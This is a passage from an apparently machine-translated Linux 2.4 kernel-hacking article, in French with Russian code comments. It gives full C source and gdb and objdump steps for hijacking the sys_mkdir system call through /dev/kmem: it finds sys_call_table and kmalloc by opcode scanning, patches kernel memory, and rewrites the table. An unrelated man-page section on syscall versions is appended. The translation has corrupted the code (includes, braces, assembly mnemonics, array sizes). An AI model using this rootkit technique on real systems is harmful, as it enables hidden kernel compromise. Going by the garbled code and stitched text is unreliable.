readaddr(old_syscall, scr + SYS_CALL*4, 4); writeaddr(new_syscall, scr + SYS_CALL*4, 4); La fonction readaddr lit l'adresse d'appel système à partir de la table des appels système et la stocke dans la variable old_syscall. Chaque entrée de la table sys_call_table prend 4 octets. L'adresse requise est située à l'offset sct + SYS_CALL*4 dans le fichier /dev/kmem (ici sct est l'adresse de la table sys_call_table, SYS_CALL est le numéro de série de l'appel système). La fonction writeaddr écrase l'adresse de l'appel système SYS_CALL avec l'adresse de la fonction new_syscall, et tous les appels à l'appel système SYS_CALL seront traités par cette fonction.

Il semble que tout soit simple et que l'objectif soit atteint. Cependant, rappelons-nous que nous travaillons dans l'espace d'adressage de l'utilisateur. Si nous plaçons une nouvelle fonction système dans cet espace d'adressage, alors lorsque nous appellerons cette fonction, nous obtiendrons un beau message d'erreur. D'où la conclusion - un nouvel appel système doit être placé dans l'espace d'adressage du noyau. Pour ce faire, vous devez : obtenir un bloc de mémoire dans l'espace noyau, placer un nouvel appel système dans ce bloc.

Vous pouvez allouer de la mémoire dans l'espace du noyau à l'aide de la fonction kmalloc. Mais vous ne pouvez pas appeler directement une fonction du noyau à partir de l'espace d'adressage de l'utilisateur, nous utilisons donc l'algorithme suivant :

  • connaissant l'adresse de la table sys_call_table, nous obtenons l'adresse d'un appel système (par exemple, sys_mkdir)
  • nous définissons une fonction qui effectue un appel à la fonction kmalloc. Cette fonction renvoie un pointeur vers un bloc de mémoire dans l'espace d'adressage du noyau. Appelons cette fonction get_kmalloc
  • stocker les N premiers octets de l'appel système sys_mkdir, où N est la taille de la fonction get_kmalloc
  • écraser les N premiers octets de l'appel sys_mkdir avec la fonction get_kmalloc
  • nous exécutons l'appel à l'appel système sys_mkdir, lançant ainsi la fonction get_kmalloc pour exécution
  • restaurer les N premiers octets de l'appel système sys_mkdir
En conséquence, nous aurons un bloc de mémoire situé dans l'espace du noyau.

Mais pour implémenter cet algorithme, nous avons besoin de l'adresse de la fonction kmalloc. Vous pouvez le trouver de plusieurs manières. Le plus simple est de lire cette adresse dans le fichier System.map ou de la déterminer à l'aide du débogueur gdb (print &kmalloc). Si le noyau a la prise en charge des modules activée, l'adresse kmalloc peut être déterminée à l'aide de la fonction get_kernel_syms(). Cette option sera discutée plus loin. S'il n'y a pas de support pour les modules du noyau, alors l'adresse de la fonction kmalloc devra être recherchée par l'opcode de la commande d'appel kmalloc - similaire à ce qui a été fait pour la table sys_call_table.

La fonction kmalloc prend deux paramètres : la taille de la mémoire demandée et le spécificateur GFP. Pour trouver l'opcode, nous allons utiliser le débogueur et désassembler toute fonction du noyau contenant un appel à la fonction kmalloc.

# gdb -q /usr/src/linux/vmlinux (gdb) disas inter_module_register Vidage du code assembleur pour la fonction inter_module_register : 0xc01a57b4 : poussez %ebp 0xc01a57b5 : poussez %edi 0xc01a57b6 : poussez %esi 0xc01a57b7 : poussez %ebx 0xc01a57b8 : sous $0x10,%esp 0xc01a57bb : mov 0x24(%esp,1),%ebx 0xc01a57bf : mov 0x28(%esp,1),%esi 0xc01a57c3 : mov 0x2c(%esp,1),%ebp 0xc01a57c7 : movl $0x1f0,0x4(%esp,1) 0xc01a57cf : movl $0x14,(%esp,1) 0xc01a57d6 : appelez 0xc01bea2a ... Peu importe ce que fait la fonction, l'essentiel est ce dont nous avons besoin - un appel à la fonction kmalloc. Faites attention aux dernières lignes. Tout d'abord, les paramètres sont chargés sur la pile (le registre esp pointe vers le haut de la pile), puis l'appel de fonction suit. Le spécificateur GFP est d'abord chargé sur la pile ($0x1f0,0x4(%esp,1). Pour les versions de noyau 2.4.9 et supérieures, cette valeur est 0x1f0. Trouvez l'opcode pour cette commande : (gdb) x/xw inter_module_register+ 19 0xc01a57c7 : 0x042444c7 Si nous trouvons cet opcode, nous pouvons calculer l'adresse de la fonction kmalloc. À première vue, l'adresse de cette fonction est un argument de l'instruction d'appel, mais ce n'est pas tout à fait vrai. Contrairement à la fonction system_call, ici l'instruction n'est pas l'adresse kmalloc, mais son décalage par rapport à l'adresse actuelle. Nous allons vérifier cela en définissant l'opcode du call de commande 0xc01bea2a : (gdb) x/xw inter_module_register+34 0xc01a57d6 : 0x01924fe8 Le premier octet est e8, qui est l'opcode de l'instruction d'appel. Trouvez la valeur de l'argument de cette commande : (gdb) x/xw inter_module_register+35 0xc01a57d7 : 0x0001924f Maintenant, si nous ajoutons l'adresse actuelle 0xc01a57d6, le décalage 0x0001924f et 5 octets de la commande, nous obtenons l'adresse requise de la fonction kmalloc - 0xc01bea2a.

Ceci conclut les calculs théoriques et, en utilisant la technique ci-dessus, nous intercepterons l'appel système sys_mkdir.

6. Un exemple d'interception avec /dev/kmem

/* source 6.0 */ #include #comprendre #comprendre #comprendre #comprendre #comprendre #comprendre #comprendre /* Numéro d'appel système à intercepter */ #define _SYS_MKDIR_ 39 #define KMEM_FILE "/dev/kmem" #define MAX_SYMS 4096 /* Description du format de registre IDTR */ struct ( unsigned short limit; unsigned int base; ) __attribute__ ((packed) ) idtr ; /* Description du format de la porte d'interruption de la table IDT */ struct ( off1 court non signé ; sel court non signé ; caractère non signé aucun, drapeaux ; off2 court non signé ; ) __attribute__ ((compressé)) idt ; /* Description de la structure de la fonction get_kmalloc */ struct kma_struc ( ulong (*kmalloc) (uint, int); // - adresse de la fonction kmalloc int size; // - taille de la mémoire pour allouer les drapeaux int; // - drapeau, pour les noyaux > 2.4.9 = 0x1f0 (GFP) ulong mem ; ) __attribute__ ((packed)) kmalloc ; /* Une fonction qui alloue uniquement un bloc de mémoire dans l'espace d'adressage du noyau */ int get_kmalloc(struct kma_struc *k) ( k->mem = k->kmalloc(k->size, k->flags); return 0 ; ) /* Fonction qui renvoie l'adresse de la fonction (nécessaire pour la recherche kmalloc) */ ulong get_sym(char *n) ( struct kernel_sym tab; int numsyms; int i; numsyms = get_kernel_syms(NULL); if (numsyms > MAX_SYMS || numsyms< 0) return 0; get_kernel_syms(tab); for (i = 0; i < numsyms; i++) { if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value; } return 0; } /* Наша новая системная функция, ничего не делает;) */ int new_mkdir(const char *path) { return 0; } /* Читает из /dev/kmem с offset size данных в buf */ static inline int rkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset){ printf("lseek err\n"); return 0; } if (read(fd, buf, size) != size) return 0; return size; } /* Аналогично, но только пишет в /dev/kmem */ static inline int wkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } /* Читает из /dev/kmem данные размером 4 байта */ static inline int rkml(int fd, uint offset, ulong *buf) { return rkm(fd, offset, buf, sizeof(ulong)); } /* Аналогично, но только пишет */ static inline int wkml(int fd, uint offset, ulong buf) { return wkm(fd, offset, &buf, sizeof(ulong)); } /* Функция для получения адреса sys_call_table */ ulong get_sct(int kmem) { ulong sys_call_off; // - адрес обработчика // прерывания int $0x80 (функция system_call) char *p; char sc_asm; asm("sidt %0" : "=m" (idtr)); if (!rkm(kmem, idtr.base+(8*0x80), &idt, sizeof(idt))) return 0; sys_call_off = (idt.off2 << 16) | idt.off1; if (!rkm(kmem, sys_call_off, &sc_asm, 128)) return 0; p = (char *)memmem(sc_asm, 128, "\xff\x14\x85", 3) + 3; printf("call for sys_call_table at %08x\n",p); if (p) return *(ulong *)p; return 0; } /* Функция для определения адреса функции kmalloc */ ulong get_kma(ulong pgoff) { uint i; unsigned char buf, *p, *p1; int kmemz; ulong ret; ret = get_sym("kmalloc"); if (ret) { printf("\nZer gut!\n"); return ret; } kmemz = open("/dev/kmem", O_RDONLY); if (kmemz < 0) return 0; for (i = pgoff+0x100000; i < (pgoff + 0x1000000); i += 0x10000){ if (!rkm(kmemz, i, buf, sizeof(buf))) return 0; p1=(char *)memmem(buf,sizeof(buf),"\x68\xf0\x01\x00",4); if(p1) { p=(char *)memmem(p1+4,sizeof(buf),"\xe8",1)+1; if (p) { close(kmemz); return *(unsigned long *)p+i+(p-buf)+4; } } } close(kmemz); return 0; } int main() { int kmem; // !! - пустые, нужно подставить ulong get_kmalloc_size; // - размер функции get_kmalloc !! ulong get_kmalloc_addr; // - адрес функции get_kmalloc !! ulong new_mkdir_size; // - размер функции-перехватчика!! ulong new_mkdir_addr; // - адрес функции-перехватчика!! ulong sys_mkdir_addr; // - адрес системного вызова sys_mkdir ulong page_offset; // - нижняя граница адресного // пространства ядра ulong sct; // - адрес таблицы sys_call_table ulong kma; // - адрес функции kmalloc unsigned char tmp; kmem = open(KMEM_FILE, O_RDWR, 0); if (kmem < 0) return 0; sct = get_sct(kmem); page_offset = sct & 0xF0000000; kma = get_kma(page_offset); printf("OK\n" "page_offset\t\t:\t0x%08x\n" "sys_call_table\t:\t0x%08x\n" "kmalloc()\t\t:\t0x%08x\n", page_offset,sct,kma); /* Найдем адрес sys_mkdir */ if (!rkml(kmem, sct+(_SYS_MKDIR_*4), &sys_mkdir_addr)) { printf("Cannot get addr of %d syscall\n", _SYS_MKDIR_); perror("er: "); return 1; } /* Сохраним первые N байт вызова sys_mkdir */ if (!rkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Cannot save old %d syscall!\n", _SYS_MKDIR_); return 1; } /* Перепишем первые N байт, функцией get_kmalloc */ if (!wkm(kmem, sys_mkdir_addr,(void *)get_kmalloc_addr, get_kmalloc_size)) { printf("Can"t overwrite our syscall %d!\n",_SYS_MKDIR_); return 1; } kmalloc.kmalloc = (void *) kma; //- адрес функции kmalloc kmalloc.size = new_mkdir_size; //- размер запращевоемой // памяти (размер функции-перехватчика new_mkdir) kmalloc.flags = 0x1f0; //- спецификатор GFP /* Выполним сис. вызов sys_mkdir, тем самым выполним нашу функцию get_kmalloc */ mkdir((char *)&kmalloc,0); /* Востановим оригинальный вызов sys_mkdir */ if (!wkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Can"t restore syscall %d !\n",_SYS_MKDIR_); return 1; } if (kmalloc.mem < page_offset) { printf("Allocated memory is too low (%08x < %08x)\n", kmalloc.mem, page_offset); return 1; } /* Оторбразим результаты */ printf("sys_mkdir_addr\t\t:\t0x%08x\n" "get_kmalloc_size\t:\t0x%08x (%d bytes)\n\n" "our kmem region\t\t:\t0x%08x\n" "size of our kmem\t:\t0x%08x (%d bytes)\n\n", sys_mkdir_addr, get_kmalloc_size, get_kmalloc_size, kmalloc.mem, kmalloc.size, kmalloc.size); /* Разместим в пространстве ядра наш новый сис. вызво */ if(!wkm(kmem, kmalloc.mem, (void *)new_mkdir_addr, new_mkdir_size)) { printf("Unable to locate new system call !\n"); return 1; } /* Перепишем таблицу sys_call_table на наш новый вызов */ if(!wkml(kmem, sct+(_SYS_MKDIR_*4), kmalloc.mem)) { printf("Eh ..."); return 1; } return 1; } /* EOF */ Скомпилируем полученый код и определим адреса и размеры функций get_kmalloc и new_mkdir. Запускать полученое творение рано! Для вычисления адресов и размеров воспользуемся утилитой objdump: # gcc -o src-6.0 src-6.0.c # objdump -x ./src-6.0 >dump Ouvrons le fichier de vidage et trouvons les données qui nous intéressent : 080485a4 g F .text 00000032 get_kmalloc 080486b1 g F .text 0000000a new_mkdir Ajoutons maintenant ces valeurs à notre programme : ulong get_kmalloc_size=0x32 ; jusqu'à get_kmalloc_addr=0x080485a4 ; jusqu'à new_mkdir_size=0x0a ; jusqu'à new_mkdir_addr=0x080486b1 ; Recompilons maintenant le programme. Après l'avoir lancé pour exécution, nous intercepterons l'appel système sys_mkdir. Tous les appels à sys_mkdir seront désormais gérés par la fonction new_mkdir.

Fin de papier/EOP

Les performances du code de toutes les sections ont été testées sur le noyau 2.4.22. Lors de la préparation du rapport, des matériaux du site ont été utilisés

Le plus souvent, le code de l'appel système numéroté __NR_xxx, défini dans /usr/include/asm/unistd.h, se trouve dans le code source du noyau Linux dans la fonction sys_xxx(). (La table des appels pour i386 se trouve dans /usr/src/linux/arch/i386/kernel/entry.S.) Il existe de nombreuses exceptions à cette règle, principalement dues au fait que la plupart des anciens appels système sont remplacés par de nouveaux, et sans aucun système. Sur les plates-formes avec émulation de système d'exploitation propriétaire, telles que parisc, sparc, sparc64 et alpha, il existe de nombreux appels système supplémentaires ; mips64 dispose également d'un ensemble complet d'appels système 32 bits.

Au fil du temps, des modifications ont été apportées à l'interface de certains appels système selon les besoins. L'une des raisons de ces changements était la nécessité d'augmenter la taille des structures ou des valeurs scalaires transmises à un appel système. En raison de ces changements, sur certaines architectures (notamment sur l'ancien i386 32 bits), divers groupes d'appels système similaires sont apparus (par exemple, tronquer(2) et tronquer64(2)), qui effectuent les mêmes tâches mais diffèrent par la taille de leurs arguments. (Comme indiqué, les applications ne sont pas affectées : les wrappers de la glibc font un certain travail pour déclencher l'appel système correct, ce qui garantit la compatibilité ABI pour les anciens binaires.) Exemples d'appels système qui ont plusieurs versions :

* Actuellement, il existe trois versions différentes statistique(2): sys_stat() (endroit __NR_oldstat), sys_newstat() (endroit __NR_stat) et sys_stat64() (endroit __NR_stat64), ce dernier est actuellement utilisé. Une situation similaire avec lstat(2) et fstat(2). * De même défini __NR_oldolduname, __NR_olduname et __NR_uname pour les appels sys_olduname(), sys_uname() et sys_newuname(). * Linux 2.0 a une nouvelle version vm86(2), les nouvelles et anciennes versions des procédures nucléaires sont appelées sys_vm86old() et sys_vm86(). * Linux 2.4 a une nouvelle version getrlimit(2) les nouvelles et anciennes versions des procédures nucléaires sont appelées sys_old_getrlimit() (endroit __NR_getrlimit) et sys_getrlimit() (endroit __NR_ugetrlimit). * Dans Linux 2.4, la taille du champ ID utilisateur et groupe a été augmentée de 16 à 32 bits. Plusieurs appels système ont été ajoutés pour prendre en charge ce changement (par exemple, chown32(2), getuid32(2), getgroups32(2), setresuid32(2)), désapprouvant les appels antérieurs avec les mêmes noms mais sans le suffixe "32". * Linux 2.4 a ajouté la prise en charge de l'accès aux fichiers volumineux (dont les tailles et les décalages ne rentrent pas dans 32 bits) dans les applications sur les architectures 32 bits. Cela a nécessité des modifications des appels système qui fonctionnent avec les tailles et les décalages de fichiers. Les appels système suivants ont été ajoutés : fcntl64(2), getdents64(2), stat64(2), statfs64(2), tronquer64(2) et leurs homologues qui gèrent les descripteurs de fichiers ou les liens symboliques. Ces appels système suppriment les anciens appels système qui, à l'exception des appels "stat", portent le même nom mais n'ont pas le suffixe "64".

Sur les plates-formes plus récentes qui n'ont qu'un accès aux fichiers 64 bits et un UID/GID 32 bits (par exemple, alpha, ia64, s390x, x86-64), il n'y a qu'une seule version des appels système pour l'UID/GID et l'accès aux fichiers. Sur les plates-formes (généralement des plates-formes 32 bits) qui ont des appels *64 et *32, les autres versions sont obsolètes.

* Défis rt_sig* ajouté au noyau 2.2 pour prendre en charge des signaux en temps réel supplémentaires (voir signal(7)). Ces appels système rendent obsolètes les anciens appels système portant le même nom mais sans le préfixe "rt_". * Dans les appels système sélectionner(2) et mmap(2) cinq arguments ou plus sont utilisés, ce qui a causé des problèmes pour déterminer comment les arguments ont été transmis sur le i386. Par conséquent, alors que sur d'autres architectures, les appels sys_select() et sys_mmap() correspondre __NR_select et __NR_mmap, sur i386 ils correspondent à old_select() et old_mmap() (procédures utilisant un pointeur sur un bloc d'arguments). Actuellement, il n'y a plus de problème avec le passage de plus de cinq arguments et il y a __NR__nouveauselect, ce qui correspond exactement sys_select(), et la même situation avec __NR_mmap2.